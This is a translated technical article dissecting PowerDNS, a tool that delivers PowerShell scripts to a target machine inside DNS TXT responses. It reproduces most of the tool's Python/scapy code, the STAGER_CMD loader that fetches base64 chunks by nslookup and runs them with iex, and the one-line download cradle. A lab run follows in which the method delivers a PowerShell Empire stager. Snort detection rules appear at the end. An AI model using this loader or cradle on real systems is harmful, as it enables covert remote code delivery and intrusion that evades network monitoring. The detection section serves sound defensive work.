📜 ⬆️ ⬇️

Powershell delivery of scripts via DNS tunnel and methods of counteraction


In this article we will talk about a new tool that allows you to transfer Powershell scripts to a target machine inside DNS packets in order to hide traffic. Let's look at how PowerDNS works and how to protect against such attacks.

Parsing code


The tool can be downloaded on the official GitHub .

After cloning the repository inside you will find the file powerdns.py. This script, written in python, in essence, consists the whole tool. Let's see what he does.

We study the import section
')
import scapy, sys from scapy.all import * import base64 import signal import argparse 

Immediately pay attention to the fact that PowerDSN uses scapy to work with network packets.

Next we need to set the interface to listen. Note that this option cannot be set via command line parameters.

 INTERFACE = 'eth0' chunks = [] domain = '' 

Next come the descriptions of the launch validation functions - validate_args () , showing a banner from the banner.txt file - show_banner () , we will not analyze them.

The next function is more interesting - base64_file (file) .

 def base64_file(file): try: with open(file, "rb") as powershell_file: encoded_string = base64.b64encode(powershell_file.read()) return encoded_string except: print("\033[1;34m[*] PowerDNS:\033[0;0m Error opening file") sys.exit(-1) 

It opens the file that we pass in the parameters at startup and encodes its contents in Base64 .

The following describes the get_chunks (file) function .

 def get_chunks(file): tmp_chunks = [] encoded_file = base64_file(file) for i in range(0,len(encoded_file), 250): tmp_chunks.append(encoded_file[i:i+250]) return tmp_chunks 

Which breaks the Base64 payload, obtained using the base64_file function into parts of 250 characters each.

Next comes the main function that performs the correct sending of payload inside DNS packets - powerdnsHandler (data)

 def powerdnsHandler(data): if data.haslayer(DNS) and data.haslayer(DNSQR): global chunks ip = data.getlayer(IP) udp = data.getlayer(UDP) dns = data.getlayer(DNS) dnsqr = data.getlayer(DNSQR) print('\033[1;34m[*] PowerDNS:\033[0;0m Received DNS Query for %s from %s' % (dnsqr.qname, ip.src)) 

If the script receives a DNS packet, the console displays the string “Received DNS Query for ...”

  if len(dnsqr.qname) !=0 and dnsqr.qtype == 16: try: response = chunks[int(dnsqr.qname.split('.')[0])] except: return rdata=response rcode=0 dn = domain an = (None, DNSRR(rrname=dnsqr.qname, type='TXT', rdata=rdata, ttl=1))[rcode == 0] ns = DNSRR(rrname=dnsqr.qname, type="NS", ttl=1, rdata="ns1."+dn) forged = IP(id=ip.id, src=ip.dst, dst=ip.src) /UDP(sport=udp.dport, dport=udp.sport) / DNS(id=dns.id, qr=1, rd=1, ra=1, rcode=rcode, qd=dnsqr, an=an, ns=ns) send(forged, verbose=0, iface=INTERFACE) 

If the type of requested TXT record ( see DNS Resource Record Types ), then a payload part ( chunks [int (dnsqr.qname.split ('.') [0])] is sent inside the DNS packet, and that part that was query dnsqr.qname .

Next comes the main body of the program.

 try: show_banner() args = validate_args() signal.signal(signal.SIGINT, signal_handler) chunks = get_chunks(args.file) domain = args.domain 

Here, the launch is checked for correctness and the parameter values ​​are read.

Then we see an interesting line with the variable STAGER_CMD

 STAGER_CMD = "for ($i=1;$i -le %s;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.%s')[-1]};iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64))))" % (str(len(chunks)), domain) 

This is the powershell loader of the script that we passed in the launch parameters. This script will be transmitted to the target machine first. When running this script, PowerShell will loop through commands like this

 nslookup -q=txt -timeout=3 0.domain.com nslookup -q=txt -timeout=3 1.domain.com nslookup -q=txt -timeout=3 2.domain.com ... 

And thus get the payload in parts, which are stored in the variable chunks .

Further, the user is displayed on how many parts the selected powershell script has been broken. After that, the zero index in the list is inserted Download Cradle script STAGER_CMD .

  print("\033[1;34m[*] PowerDNS:\033[0;0m Splitting %s in to %s chunk(s)" % (args.file, str(len(chunks)))) chunks.insert(0,STAGER_CMD) 

To see which parts of our script was broken, you can insert after chunks.insert

 for j in chunks: print chunks.index(j) print j 

The user will be shown the command to be executed on the target machine.

  print("\033[1;34m[*] PowerDNS:\033[0;0m Use the following download cradle:\n\033[1;34m[*] PowerDNS:\033[0;0m powershell \"powershell (nslookup -q=txt -timeout=5 0.%s)[-1]\"" % (domain)) 

This is a view command.

 powershell "powershell (nslookup -q=txt -timeout=5 0.domain.com)[-1]" 

Those. Powershell will get the Download Cradle code via a TXT write request to 0.domain.com (STAGER_CMD is stored under the zero index), execute it and start the cycle of getting the main script in Base64. We use [-1] because we need to transfer to the PowerShell the Download Cradle interpreter, and not the DNS server name, etc. In your case, you may have to use a different line to transfer the correct part of the answer from nslookup to PowerShell.

And the last lines of the code start listening for DNS queries on the selected interface. When a request is received, the powerdnsHandler function is called.

 while True: mSniff = sniff(filter="udp dst port 53", iface=INTERFACE, prn=powerdnsHandler) except Exception as e: sys.exit(-1) 

If something does not work for you, I would add the code with the line print (e) before sys.exit to see execution errors.

Practical example



As a payload, i.e. the main powershell script, I will use the Powershell Empire steager.

I create leafer



I generate a code of a pager and I place it in the payload.ps1 file



I have to run powerdns.py on an authoritative DNS server whose zone I control.
In my test infrastructure, I use the domain sub.secret.lab. Run on this machine PowerDNS

 python powerdns.py --file payload.ps1 --domain sub.secret.lab 

Now I have to execute Download Cradle on a remote machine.



After executing the powershell command, I start to see the following entries in the PowerDNS console

 [*] PowerDNS: Use the following download cradle: [*] PowerDNS: powershell "powershell (nslookup -q=txt -timeout=5 0.sub.secret.lab)[-1]" [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 0.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 1.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 2.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 ... 

If you run the wireshark sniffer and examine the DNS packets, we will see the following



Request



And the answer is (Download Cradle, which is returned when querying for 0.sub.secret.lab)



After receiving the last part of the script, we see a message in PowerShell Empire about successful connection of the agent



And, as we see, he is a worker



Protection


To block this particular script, you can search DNS lookups for the Download Cradle signature, i.e. something like

 for ($i=1;$i -le 19;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.sub.secret.lab' 

The rule for network IPS Snort 2.X might look something like this

 drop udp any 53 <> any any (content: "| 7b 24 62 36 34 2b 3d 69 65 78 28 |"; msg:"PowerDNS Detected!"; sid:10000002; rev:001;) 

Result







However, Download Cradle can be more complicated and obfuscated, for example with the Invoke-CradleCrafter . Then this rule will not work.

In this case, you can pay attention to exceeding the threshold number of DNS queries like TXT, using a similar rule

 alert udp any any -> any 53 (msg:"High TXT requests - Potential DNS Tunneling"; content:"|00 00 10 00 01|"; offset:12; threshold: type threshold, track by_src, count 3, seconds 30; sid: 1000003; rev: 001;) 

Result



It should be borne in mind that DNS tunnels can use not only the TXT record type, so these examples demonstrate protection specifically from the PowerDNS tool. There are a lot of tools for creating DNS tunnels, so for effective protection it is recommended to make sure that your rules protect the infrastructure from all types of tunnels.

Source: https://habr.com/ru/post/337244/


All Articles